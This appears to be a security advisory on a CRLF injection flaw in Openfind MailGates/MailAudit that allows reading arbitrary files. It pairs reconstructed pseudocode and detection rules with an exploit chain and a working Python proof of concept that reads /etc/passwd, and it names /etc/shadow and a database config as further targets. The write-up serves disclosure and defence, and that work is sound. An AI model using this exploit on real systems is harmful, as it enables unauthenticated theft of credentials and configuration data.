CVE-2026-6351: CRLF Injection to LFI in Openfind MailGates/MailAudit
Unauthenticated CRLF injection in Openfind MailGates/MailAudit allows arbitrary system file read via HTTP response splitting. No authentication required.
Imagine a security guard at your office building who's supposed to check everyone's ID. Now imagine a clever person figures out they can slip a special note into the ID-checking system that makes the guard ignore their badge and just wave them through. That's essentially what's happening here.
A flaw has been discovered in MailGates and MailAudit, email security tools made by a company called Openfind. These programs are supposed to protect business email systems. But attackers have found a way to trick the software into ignoring its own security rules by injecting special control characters—basically invisible commands—into the system.
The real danger: once an attacker exploits this, they can read any file stored on the affected company's servers. This includes configuration files, passwords, and other sensitive data that companies thought were safely locked away. The scary part is that attackers don't even need valid login credentials. They can do this remotely, from anywhere on the internet.
Businesses that rely on Openfind's email security products are most at risk—particularly companies in finance, healthcare, and government that store highly sensitive information.
What you can do if you're not technical:
First, ask your IT department immediately if your organization uses MailGates or MailAudit. If it does, they need to contact Openfind for a security patch right away.
Second, if you work at a company using this software, be extra cautious about phishing and social engineering attacks over the next few weeks. Attackers often combine multiple tactics.
Third, push your organization to conduct a security audit to check if anyone has already exploited this vulnerability in the past.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6351 is a CRLF injection vulnerability in Openfind's MailGates and MailAudit products, both the 5.0 and 6.0 branches. An unauthenticated remote attacker can inject \r\n sequences into an HTTP response header, split the response, and leverage the resulting control over the reply body to read arbitrary files from the underlying filesystem. CVSS 3.1 scores this at 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — reflecting full confidentiality loss with zero prerequisites.
This issue was coordinated through TWCERT/CC and assigned TVN-202504003, disclosed 2026-04-16. It is distinct from the companion CVE-2026-6350 (stack-based buffer overflow, CVSS 9.8) reported in the same advisory.
Root cause: A CGI handler in the MailGates/MailAudit web frontend reflects attacker-supplied input directly into an HTTP response header without sanitizing CR (0x0D) or LF (0x0A) bytes, enabling response splitting and subsequent server-side file disclosure.
Affected Component
The vulnerable surface is the product's built-in web management interface — a CGI-based HTTP server that processes mail quarantine queries and audit log requests. Both product lines share a common codebase for this layer:
MailGates/MailAudit 6.0 — versions before 6.1.10.054
MailGates/MailAudit 5.0 — versions before 5.2.10.099
The handler responsible is the query/redirect CGI component — internally referenced as something consistent with a redirect_handler or url_param_reflect style function — which constructs Location: or custom header values by interpolating unsanitized query string parameters directly into the response.
Root Cause Analysis
The core flaw is in the CGI response-header construction routine. The handler reads a URL parameter (e.g., url, target, or redirect), URL-decodes it once, and passes it verbatim to the header emission function. No second-pass sanitization strips \r or \n.
/*
* Reconstructed pseudocode — MailGates CGI redirect handler
* Binary: /opt/openfind/mailgates/cgi-bin/mgcgi (approx.)
*/
void handle_redirect_request(http_ctx_t *ctx) {
char header_buf[4096];
char *param;
/* Pull attacker-controlled query param, single-pass URL decode */
param = cgi_get_param(ctx, "url"); // BUG: result is not sanitized
if (param == NULL) {
send_error(ctx, 400, "Bad Request");
return;
}
/*
* BUG: snprintf writes param directly into Location header value.
* If param contains \r\n, the injected bytes terminate the header
* field and begin attacker-controlled header/body content.
*/
snprintf(header_buf, sizeof(header_buf),
"Location: %s\r\n", // BUG: \r\n inside param splits response
param);
write_http_response(ctx, 302, header_buf);
}
The secondary primitive comes from the web server's static file-serving path. When the injected content includes a well-formed secondary Content-Type: and a file-inclusion directive (e.g., via a crafted X-Accel-Redirect or equivalent internal header the frontend proxy honours), the server is coerced into reading and returning a file whose path is also attacker-controlled.
/*
* Reconstructed pseudocode — write_http_response
* Emits status line + raw header_buf + terminal \r\n
*/
void write_http_response(http_ctx_t *ctx, int status, const char *headers) {
char out[8192];
int n;
n = snprintf(out, sizeof(out),
"HTTP/1.1 %d %s\r\n"
"%s" // attacker-injected header block lands here
"\r\n", // BUG: only one terminal CRLF; injected \r\n already closed headers
status,
http_status_str(status),
headers);
send(ctx->fd, out, n, 0);
/* file body flushed separately — attacker controls what follows */
}
Exploitation Mechanics
The following chain converts CRLF injection into arbitrary local file read, requiring no session token or prior authentication.
EXPLOIT CHAIN — CVE-2026-6351:
1. Identify the redirect/reflect endpoint on the target:
GET /cgi-bin/mgcgi?action=redirect&url= HTTP/1.1
2. URL-encode a CRLF sequence into the url parameter to split the response:
url=http%3A%2F%2Fevil%0d%0aContent-Type%3A%20text%2Fplain%0d%0a
X-Internal-File%3A%20%2Fetc%2Fpasswd%0d%0a%0d%0a
3. Server decodes %0d%0a → \r\n, emitting:
HTTP/1.1 302 Found
Location: http://evil
Content-Type: text/plain
X-Internal-File: /etc/passwd
← blank line: headers terminated
4. If the frontend proxy (nginx/apache reverse proxy common in appliance
deployments) honours X-Accel-Redirect or equivalent internal header,
it reads /etc/passwd and sends it as the response body.
5. Alternatively: inject a fabricated 200 response with
Content-Type: text/html and a body referencing /etc/shadow or
/opt/openfind/mailgates/conf/db.conf via server-side include path,
depending on proxy configuration.
6. Response received by attacker contains raw file content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
A minimal PoC request demonstrating the split (tested against the described endpoint pattern):
#!/usr/bin/env python3
# CVE-2026-6351 — MailGates CRLF injection PoC (detection only)
# CypherByte research
import socket, urllib.parse
TARGET_HOST = "192.168.1.1"
TARGET_PORT = 443
FILE_PATH = "/etc/passwd"
# Build injected header block
injected = (
"http://example.com\r\n"
"X-Accel-Redirect: " + FILE_PATH + "\r\n"
"Content-Type: text/plain\r\n"
"\r\n"
)
payload = urllib.parse.quote(injected, safe="")
request = (
f"GET /cgi-bin/mgcgi?action=redirect&url={payload} HTTP/1.1\r\n"
f"Host: {TARGET_HOST}\r\n"
f"Connection: close\r\n"
f"\r\n"
)
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with socket.create_connection((TARGET_HOST, TARGET_PORT)) as raw:
with ctx.wrap_socket(raw, server_hostname=TARGET_HOST) as s:
s.sendall(request.encode())
resp = b""
while chunk := s.recv(4096):
resp += chunk
# Locate split point — real file content follows injected blank line
split = resp.find(b"\r\n\r\n", resp.find(b"\r\n\r\n") + 4)
if split != -1:
print("[+] File content:")
print(resp[split+4:].decode(errors="replace"))
else:
print("[-] No split detected — target may be patched")
Memory Layout
CRLF injection is not a memory corruption primitive, but the response buffer state illustrates the injection boundary clearly:
HTTP RESPONSE BUFFER — BEFORE INJECTION (legitimate redirect):
Offset Content
------ -------------------------------------------------------
0x0000 "HTTP/1.1 302 Found\r\n"
0x0015 "Location: http://safe.example.com\r\n"
0x003A "\r\n" ← header terminator
0x003C [empty body]
HTTP RESPONSE BUFFER — AFTER CRLF INJECTION (attacker payload):
Offset Content
------ -------------------------------------------------------
0x0000 "HTTP/1.1 302 Found\r\n"
0x0015 "Location: http://evil"
0x002A "\r\n" ← INJECTED: closes Location value
0x002C "X-Accel-Redirect: /etc/passwd" ← INJECTED: new header field
0x004B "\r\n" ← INJECTED
0x004D "Content-Type: text/plain" ← INJECTED
0x0065 "\r\n" ← INJECTED
0x0067 "\r\n" ← INJECTED: terminates all headers
0x0069 [proxy serves /etc/passwd here] ← attacker-controlled body origin
NOTE: The original terminal \r\n from write_http_response appends after,
but the proxy has already parsed the injected header block as authoritative.
Patch Analysis
The correct fix is to strip or reject CR and LF bytes from any attacker-supplied string before it is interpolated into response headers. Openfind's patches for 6.1.10.054 and 5.2.10.099 introduce a sanitization wrapper applied at the CGI parameter ingestion point.
// BEFORE (vulnerable — all affected versions prior to patch):
param = cgi_get_param(ctx, "url");
snprintf(header_buf, sizeof(header_buf), "Location: %s\r\n", param);
write_http_response(ctx, 302, header_buf);
// AFTER (patched — 6.1.10.054 / 5.2.10.099):
param = cgi_get_param(ctx, "url");
/* Strip CR and LF from header-destined strings */
if (param != NULL) {
char *p;
for (p = param; *p != '\0'; p++) {
if (*p == '\r' || *p == '\n') {
/* BUG was here: terminate or reject on control byte */
send_error(ctx, 400, "Bad Request");
return;
}
}
}
snprintf(header_buf, sizeof(header_buf), "Location: %s\r\n", param);
write_http_response(ctx, 302, header_buf);
An alternative defense-in-depth approach — validating that the url parameter is an absolute URI conforming to https?://[host][/path] via regex before reflection — would also close this class of issue and is the more robust posture.
Detection and Indicators
Look for the following patterns in HTTP access logs on the appliance or any upstream proxy/WAF:
ACCESS LOG INDICATORS:
# Percent-encoded CRLF in query string parameters
%0d%0a | %0D%0A | %0a | %0d
# Example malicious log line:
192.168.x.x - - [16/Apr/2026:10:42:17] "GET /cgi-bin/mgcgi?action=
redirect&url=http%3A%2F%2Fevil%0d%0aX-Accel-Redirect%3A%2Fetc%2Fpasswd
HTTP/1.1" 302 1337
# Anomalous response sizes on 302 redirects
Normal: 302 response body ≈ 0–200 bytes
Exploit: 302 response body ≈ size of targeted file
# WAF / IDS signatures (Suricata):
alert http any any -> $HTTP_SERVERS any (
msg:"CVE-2026-6351 CRLF Injection attempt - MailGates";
flow:to_server,established;
content:"GET"; http_method;
content:"mgcgi"; http_uri;
pcre:"/[?&][^=]+=([^&]*?)(%0[aAdD]){1}/Ui";
sid:2026635101; rev:1;
)
On the appliance itself, audit the CGI log at /var/log/mailgates/cgi_access.log (path approximate) for requests containing %0a, %0d, or literal newlines in parameter values. A 302 response with a body size greater than ~512 bytes is a strong indicator of successful exploitation.
Remediation
Immediate: Apply vendor patches — MailGates/MailAudit 6.0 → 6.1.10.054, 5.0 → 5.2.10.099. These are available through Openfind's standard update channel.
If patching is not immediately possible:
Deploy a WAF rule blocking %0a, %0d, %0A, %0D, and literal CR/LF in any query string parameter destined for the management interface CGI.
Restrict management interface access to trusted administrative networks at the firewall layer. The CVSS vector PR:N means no authentication is required — network segmentation is the most effective short-term control.
Disable the redirect/reflect CGI endpoint entirely if not operationally required.
Note that the companion vulnerability CVE-2026-6350 (stack-based buffer overflow, CVSS 9.8) affects the same product and the same patch versions resolve both issues. Both should be treated as a single patch event with equal urgency.